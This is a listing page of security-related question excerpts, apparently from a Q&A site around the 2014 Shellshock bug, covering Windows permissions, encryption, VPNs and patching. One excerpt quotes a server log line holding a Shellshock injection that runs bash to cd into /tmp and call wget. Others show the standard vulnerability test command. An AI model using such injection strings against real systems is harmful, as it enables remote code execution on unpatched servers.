Security in terms of "computer security", such as protection of information, protection from theft or data destruction.

learn more… | top users | synonyms (1)

0
votes
1answer
73 views

New updates started to show up in fall 2014

Since WinXP support ended in April 2014, my Automatic Update client went quiet. But, about two months ago, updates started to show up in it again! Naturally, I was suspicious that M$ might be trying ...
1
vote
0answers
14 views

What can a non-Mac App Store app do in terms of sandboxing and security?

I'm curious about what applications from outside of the Mac App Store limitations are. By default, what are their permissions? What can they access on my computer? From my perspective, I can see that ...
0
votes
1answer
33 views

Is there a way to encrypt my traffic in foreign networks?

I will be staying in a hotel network for a while and I don't like the idea of someone wiresharking me. Is there any VPN software allowing me to encrypt my traffic? Something similar to TOR browser, ...
0
votes
1answer
118 views

how to prevent access of hard disc from guest user in window 7 ?

i want to restrict guest user from access the hard disc data, so how it could be, i goes through this way gpcedit.mc, User Configuration > Administrative Templates > Windows Components > Windows ...
0
votes
2answers
40 views

Splitting a file provides some sort of encryption?

I was wondering if splitting a file with tools like HJsplit provides some sort of encryption. Imagine I split an image or a pdf in various parts, if someone manage to get just 1 or more parts, could ...
0
votes
1answer
29 views

Prevent file from being uploaded(windows)

Say you have some file on your windows system. Is there a simple way or tool which can mark this file as not uploadable to some other machine over the internet? All applications on the system can ...
2
votes
2answers
26 views

Securing and protecting a shared computer

I allow friends and relatives to use my home computer, but I'd like to secure it as much as possible, and so I have a few questions: How can I require an admin password (that only I know) for any ...
0
votes
0answers
51 views

Least-Privilege BUILTIN\Administrator Failure Configuring Application Control Policies with AppLocker

I'm configuring execution control on a computer running Windows 7 SP1 Ultimate with one hard drive with a single partition. With AppLocker comes the option to create "default rules". In the case of ...
2
votes
2answers
51 views

How do I configure my system to trust a CA for a specific subset of domains?

The company I work for has a number of internal web services accessible over HTTPS. These services use SSL/TLS certificates signed by an internal certificate authority which is only trusted by ...
1
vote
0answers
31 views

Deny acess to file-shares (SMB)?

There are security policies like: Deny logon locally Deny logon on through Remote Desktop Services Deny access this computer from network Is there any policy to deny specific users/groups to ...
1
vote
0answers
34 views

How to require admin permissions to stop an executable in Windows 8

I have an executable on a Windows 8 machine, that I’d like to keep running. The problem is, the guy I share my dorm room and the Windows 8 machine with keeps shutting it off. Is there a way ...
0
votes
2answers
73 views

Is there a way to blacklist programs so that they can't be installed?

I again found on my sister's Windows PC the infamous Ask toolbar, probably installed along with some software. It is easy for bloatware to slip through. That is just one example. I'm aware that ...
1
vote
3answers
253 views

How do I properly SSH into a server behind a NAT while maintaining the tightest possible security?

I have a VPC in Amazon AWS. There's a NAT Server running in a Public Subnet that connects to an Internet Gateway. I have a bunch of servers running in various private subnets within the VPC. I'd like ...
0
votes
0answers
17 views

Database showing a list of current vulnerabilities?

I have been recently building my own firewall, but I was wondering is there a website or database which lists majority of the known vulnerabilities so I could obviously update my firewall based on the ...
0
votes
0answers
55 views

oscap audit on RHEL7

I'm new to OpenScap and I'm having trouble putting all the pieces together to evaluate a RHEL7 system. I've got the following RPMs installed: scap-security-guide-0.1.5-4.el7.noarch ...
1
vote
0answers
91 views

Java blocks applet on whitelisted site

On the webpage http://smbus.org/faq/crc8Applet.htm there is an applet for demonstrating the calculation of an 8-bit cyclic redundancy check. Java in Chrome and IE on MSWin7 will not allow this to run. ...
2
votes
1answer
74 views

Block site if browser not in incognito - Chrome

I want to block sites like internet banking and accounting systems if browser not in incognito mode (for security reasons, because browser has several plugins). Is it possible to block opening web ...
1
vote
0answers
23 views

Why was my computer try to to access the internet after I had placed it into hibernation?

From 21:30 on the 11/10/2014, my Computer was in hibernation. It started to come out of this mode and connected to the internet and with this address: https://www.google.co.uk/?gws_rd=ssl at ...
0
votes
1answer
30 views

How to patch a dormant windows 7 vm

I run windows 7 as a guest VM on an ubuntu Linux host. However I only start the VM rarely so there is a risk that Windows will have security holes until it is patched. Is it possible to patch the VM ...
0
votes
0answers
22 views

Firefox sometimes reporting insecure items on page with https

I have just installed a self-signed cert for usage on a test server and I added an exception in Firefox to trust it. When I load the page normally it shows the lock and all is fine; however if I ...
1
vote
2answers
71 views

How to secure a compromised virtual machine

I would like to run Windows in a virtual machine on my linux box. However, there is some concern from others on the same physical network that if the Windows box is compromised then they will ...
0
votes
1answer
50 views

Prevent unauthorized network connection

Can another computer (connected to Network B) gain access to my computer (connected to Network A through wifi) via any means? How can I protect myself from such unauthorized connections? I have the ...
0
votes
1answer
21 views

ActiveDirectory Update a user getting UnauthorizedAccessException

I have a script that updates user pictures. It works perfectly fine on my machine as I'm a Domain Admin. I want to schedule it to run on my SQL Server, but the account that is running the Agent ...
1
vote
0answers
17 views

Locate files relating to MS Security Essentials scan result

I just ran a MS Security Essentials scan on my computer. The results show two entries under "Allowed". I don't remember allowing any such items to run on my computer. How can I locate the files ...
0
votes
0answers
80 views

icacls on windows 7 not working, Permission denied when saving an image file

I have been trying to solve this for 2 hours, on linux this is very easy. Please kindly help me. I keep getting this error : file_put_contents(C:\xampp\htdocs\skripsi\images): failed to open stream: ...
-3
votes
2answers
59 views

Strong and easy to remember password : Nonsense sentence or random chars? [closed]

I’ve been searching the web to have a secure and trust answer to that question: How can I know if my password is secure since I know a lot of websites do checks but none of them show the same result? ...
1
vote
0answers
204 views

DisableCAD local security policy on standalone Windows 7 machine reverts to Enable after reboot or logging out

I have been struggling for days trying to resolve this issue. We are required to have our users press ctrl+alt+delete to login to our systems. The local security policy has the "Interactive logon: Do ...
0
votes
2answers
124 views

How to know your Mac is not compromised (software and hardware) after lending [closed]

Is there a way to find out if your Mac has been compromised software and hardware wise? I have a pre-unibody MacBook (2007), and it was in someone else's hands once. I want to make sure: the person ...
0
votes
0answers
7 views

What is Same Origin Policy?

I was experimenting with the Cross Site Flashing Vulnerabilities in a web application. From there i heard this term for the first time. Can Someone Explain me the term Same-Origin Policy? If the topic ...
1
vote
2answers
111 views

How do I wipe a USB drive using dd on cygwin on Windows?

I am trying to use dd to wipe a usb drive using Cygwin on Windows. What should I use for the of argument? dd if=/dev/null of=?
0
votes
1answer
47 views

Cannot reconnect to mapped drives

Under Windows 7, I have mapped 4 drives, all of them pointing to my Synology 213j. Everything works fine, but when I restart, the system complaints that it cannot reconnect to mapped drives and I ...
1
vote
2answers
51 views

Is encrypting the password legal? Not using any hash methods [closed]

I tried to login to my college social network site but I forgot my password so I clicked the "Forgot Password" link then an email has been sent. It stated in that email my username and the super duper ...
0
votes
1answer
505 views

BitLocker vs. Encrypting File System (EFS) on Windows 7

So BitLocker encrypts the entire hard drive, while EFS encrypts individual files. Is there any difference in the way that they implement the encryption? Do they both use your user account password as ...
0
votes
1answer
44 views

How to safely shred unlinked files on a Unix-based file system?

Scenario: After working with a confidential file (e.g. PDF a bank statement), you typed: rm my-confidential-file (or the famous Shift-Delete action in a GUI-based file browser such as nautilus) ...
-1
votes
1answer
31 views

Is webinternetsecurity a threat to a network and how to remove completely?

I am in IT and one of our computer was detected to have a trojan virus. It was detected as Artemis!294D8BF17879. It turns out to be an application called WebInternetSecurity that appears to create ...
2
votes
1answer
39 views

Why cant operating system decide which program to use when opening files without their suffix?

For example, if we rename a .pdf file to .exe, and try to run it under windows, an error will occur. But is it possible for OS to determine which program to use to open a file based on its content? ...
2
votes
9answers
1k views

Make some content on USB drive read only

I am having a 8GB pen drive, I need to put a PowerPoint into that and make it read only. Rest of the space should be usable for the user. Assuming the user will be using Windows only, what are my ...
23
votes
3answers
4k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
0
votes
0answers
31 views

Set a max for number of failed password log in attempts in juniper srx

Normally my Juniper-SRX doesn't delimit number of failed log in attempts. I want to know if is there any way to change settings in a way that after for example 3 failed attempt, that user locked for ...
6
votes
1answer
473 views

How to know which Certificates to leave in my browser, and which to remove

I would like to tighten up security a bit, so I am disabling unneeded certs from my browsers. For instance, the "WoSign CA Limited" cert from China I obviously don't need, yet "Thawte Consulting cc" I ...
3
votes
4answers
3k views

Still Vulnerable to Shellshock with Ubuntu 14.04.1 and Bash 4.3-7ubuntu1.4 - What next?

The title says it all. I am still vulnerable (CVE-2014-6271 and possibly CVE-2014-7169) with Ubuntu 14.04.1 and Bash 4.3-7ubuntu1.4 apt-get update = nothing apt-get upgrade = nothing apt-get ...
2
votes
0answers
306 views

How to make the Firefox's message “… is now fullscreen” less obtrusive?

Illustration of the problem When a web page in Firefox switches to full-screen then even though the website is allowed to switch to full-screen automatically (Tools > Page Info > Permissions > Enter ...
4
votes
1answer
847 views

Do I need to be concerned using the Git Bash on Windows with Shellshock?

I use the Git Bash on a Windows 8.1 machine. Do I need to be concerned by Shellshock?
0
votes
2answers
105 views

Is my server still vulnerable to Shell Shock?

I updated my Debian server since Shell Shock vulnerability was known. Before update, I had: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test Now, I have: ...
-1
votes
3answers
1k views

How do I build bash to patch against shellshock and test it before installing it at the root of my system?

What seems to be wrong with my code below? I'm downloading and patching up to patch 18 which I understand is the patch for shellchock vulnerability. But I still get the vulnerability when running ...
0
votes
3answers
102 views

When using VirtualBox, is the host OS 100% protected from security issues in the guest OS?

More specifically, if I intentionally install all kinds of viruses and malwares on a Windows installation running inside VirtualBox on Mac OS X, can I cause any damage to Mac OS or even to the ...
0
votes
0answers
203 views

What exactly is the “Shellshock” vulnerability?

Concerning the Shellshock bug (aka "bash bug", CVE-2014-6271), can someone explain how this vulnerability works? Based on the test given in some posts (below), it looks like some type of injection ...
0
votes
1answer
22 views

MS Surface / Windows PC - Wipe Between Users

As a company we have a few devices like MS Surfaces and some netbooks that are used for open access within social spaces. The problem being sometimes these devices are abused and wallpapers changed ...
-1
votes
1answer
553 views

Break the forgotten encrypted password of excel workbook

i have an Excel 2010 workbook, on which i applied an Encrypted (128 bits AES) password, which i can't remember now, is there any way to remove/reset or retrieve that password or any method to retrieve ...
25
votes
7answers
36k views

How do I fix the Shellshock security vulnerability in debian testing/jessie?

The test command x='() { :;}; echo vulnerable' bash shows that my Debian 8 (Jessie) installation is vulnerable, even with the latest updates. Research shows that there's a patch for stable and ...